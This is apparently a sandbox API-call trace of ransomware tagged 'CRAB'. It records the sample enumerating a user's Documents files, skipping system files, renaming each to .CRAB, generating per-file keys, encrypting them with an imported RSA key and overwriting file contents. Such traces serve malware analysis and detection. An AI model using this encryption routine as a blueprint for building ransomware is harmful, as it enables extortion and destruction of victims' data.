	[0128.027] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.028] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.028] FindNextFileW (in: hFindFile=0x318f378, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0128.028] lstrcmpW (lpString1="vgO2_0TOSav.ppt", lpString2=".") returned 1
	[0128.028] lstrcmpW (lpString1="vgO2_0TOSav.ppt", lpString2="..") returned 1
	[0128.028] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\", lpString2="vgO2_0TOSav.ppt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt"
	[0128.028] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.028] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt") returned 92
	[0128.028] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt") returned 92
	[0128.028] lstrlenW (lpString=".ppt") returned 4
	[0128.028] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.028] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ppt ") returned 5
	[0128.029] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.029] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt") returned 92
	[0128.029] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt") returned 92
	[0128.029] lstrcmpiW (lpString1="vgO2_0TOSav.ppt", lpString2="desktop.ini") returned 1
	[0128.029] lstrcmpiW (lpString1="vgO2_0TOSav.ppt", lpString2="autorun.inf") returned 1
	[0128.029] lstrcmpiW (lpString1="vgO2_0TOSav.ppt", lpString2="ntuser.dat") returned 1
	[0128.029] lstrcmpiW (lpString1="vgO2_0TOSav.ppt", lpString2="iconcache.db") returned 1
	[0128.029] lstrcmpiW (lpString1="vgO2_0TOSav.ppt", lpString2="bootsect.bak") returned 1
	[0128.029] lstrcmpiW (lpString1="vgO2_0TOSav.ppt", lpString2="boot.ini") returned 1
	[0128.029] lstrcmpiW (lpString1="vgO2_0TOSav.ppt", lpString2="ntuser.dat.log") returned 1
	[0128.029] lstrcmpiW (lpString1="vgO2_0TOSav.ppt", lpString2="thumbs.db") returned 1
	[0128.029] lstrcmpiW (lpString1="vgO2_0TOSav.ppt", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.029] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.029] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt.CRAB") returned 97
	[0128.029] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\vgo2_0tosav.ppt")) returned 0x20
	[0128.029] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt", dwFileAttributes=0x20) returned 1
	[0128.030] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\vgo2_0tosav.ppt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\vgo2_0tosav.ppt.crab")) returned 1
	[0128.031] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.031] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt.CRAB"
	[0128.031] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt.CRAB.CRAB"
	[0128.031] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6ed98) returned 1
	[0128.034] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.034] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.034] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.034] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0128.034] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0128.034] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.035] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0128.037] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.038] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.038] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.038] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0128.038] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.038] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.038] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.038] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.039] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e5a0) returned 1
	[0128.041] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318f9f8) returned 1
	[0128.041] CryptGetKeyParam (in: hKey=0x318f9f8, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0128.041] CryptEncrypt (in: hKey=0x318f9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0128.042] GetLastError () returned 0x0
	[0128.042] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0128.042] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6ed98) returned 1
	[0128.044] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318f678) returned 1
	[0128.044] CryptGetKeyParam (in: hKey=0x318f678, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0128.044] CryptEncrypt (in: hKey=0x318f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0128.045] GetLastError () returned 0x0
	[0128.045] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0128.045] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vgO2_0TOSav.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\vgo2_0tosav.ppt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0128.045] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.045] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.046] ReadFile (in: hFile=0x140, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314a9cc*=0x4328, lpOverlapped=0x0) returned 1
	[0128.058] VirtualAlloc (lpAddress=0x0, dwSize=0x4330, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.059] VirtualAlloc (lpAddress=0x0, dwSize=0x4330, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0128.059] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.059] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffbcd8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.060] WriteFile (in: hFile=0x140, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314a9bc*=0x4330, lpOverlapped=0x0) returned 1
	[0128.060] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.060] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.064] WriteFile (in: hFile=0x140, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0128.064] WriteFile (in: hFile=0x140, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0128.064] WriteFile (in: hFile=0x140, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0128.064] CloseHandle (hObject=0x140) returned 1
	[0128.064] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.064] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.065] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.065] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.065] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.065] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.065] FindNextFileW (in: hFindFile=0x318f378, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0128.065] lstrcmpW (lpString1="vZEtpbkDfGqD.rtf", lpString2=".") returned 1
	[0128.065] lstrcmpW (lpString1="vZEtpbkDfGqD.rtf", lpString2="..") returned 1
	[0128.066] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\", lpString2="vZEtpbkDfGqD.rtf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf"
	[0128.066] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.066] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf") returned 93
	[0128.066] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf") returned 93
	[0128.066] lstrlenW (lpString=".rtf") returned 4
	[0128.066] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.066] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".rtf ") returned 5
	[0128.066] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.066] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf") returned 93
	[0128.066] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf") returned 93
	[0128.066] lstrcmpiW (lpString1="vZEtpbkDfGqD.rtf", lpString2="desktop.ini") returned 1
	[0128.066] lstrcmpiW (lpString1="vZEtpbkDfGqD.rtf", lpString2="autorun.inf") returned 1
	[0128.066] lstrcmpiW (lpString1="vZEtpbkDfGqD.rtf", lpString2="ntuser.dat") returned 1
	[0128.067] lstrcmpiW (lpString1="vZEtpbkDfGqD.rtf", lpString2="iconcache.db") returned 1
	[0128.067] lstrcmpiW (lpString1="vZEtpbkDfGqD.rtf", lpString2="bootsect.bak") returned 1
	[0128.067] lstrcmpiW (lpString1="vZEtpbkDfGqD.rtf", lpString2="boot.ini") returned 1
	[0128.067] lstrcmpiW (lpString1="vZEtpbkDfGqD.rtf", lpString2="ntuser.dat.log") returned 1
	[0128.067] lstrcmpiW (lpString1="vZEtpbkDfGqD.rtf", lpString2="thumbs.db") returned 1
	[0128.067] lstrcmpiW (lpString1="vZEtpbkDfGqD.rtf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.067] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.067] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf.CRAB") returned 98
	[0128.067] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\vzetpbkdfgqd.rtf")) returned 0x20
	[0128.067] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf", dwFileAttributes=0x20) returned 1
	[0128.068] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\vzetpbkdfgqd.rtf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\vzetpbkdfgqd.rtf.crab")) returned 1
	[0128.068] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.069] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf.CRAB"
	[0128.069] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf.CRAB.CRAB"
	[0128.069] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0128.071] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.072] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.072] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.072] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0128.072] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.072] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.072] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e7c0) returned 1
	[0128.075] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.075] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.075] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.076] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0128.076] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0128.076] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.076] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.076] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.076] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e5a0) returned 1
	[0128.117] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318fab8) returned 1
	[0128.117] CryptGetKeyParam (in: hKey=0x318fab8, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0128.117] CryptEncrypt (in: hKey=0x318fab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0128.117] GetLastError () returned 0x0
	[0128.117] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0128.117] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e6b0) returned 1
	[0128.120] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318f638) returned 1
	[0128.120] CryptGetKeyParam (in: hKey=0x318f638, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0128.120] CryptEncrypt (in: hKey=0x318f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0128.120] GetLastError () returned 0x0
	[0128.120] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0128.120] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\vZEtpbkDfGqD.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\vzetpbkdfgqd.rtf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0128.121] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.121] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.121] ReadFile (in: hFile=0x140, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314a9cc*=0x1869f, lpOverlapped=0x0) returned 1
	[0128.127] VirtualAlloc (lpAddress=0x0, dwSize=0x186a0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.128] VirtualAlloc (lpAddress=0x0, dwSize=0x186a0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0128.130] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.131] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7961, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.131] WriteFile (in: hFile=0x140, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x186a0, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314a9bc*=0x186a0, lpOverlapped=0x0) returned 1
	[0128.131] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.132] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.135] WriteFile (in: hFile=0x140, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0128.135] WriteFile (in: hFile=0x140, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0128.135] WriteFile (in: hFile=0x140, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0128.135] CloseHandle (hObject=0x140) returned 1
	[0128.136] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.136] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.136] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.136] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.136] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.137] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.137] FindNextFileW (in: hFindFile=0x318f378, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0128.137] FindClose (in: hFindFile=0x318f378 | out: hFindFile=0x318f378) returned 1
	[0128.137] FindNextFileW (in: hFindFile=0x318f178, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0128.137] lstrcmpW (lpString1="I2kK7YIMydRb7UFK.docx", lpString2=".") returned 1
	[0128.137] lstrcmpW (lpString1="I2kK7YIMydRb7UFK.docx", lpString2="..") returned 1
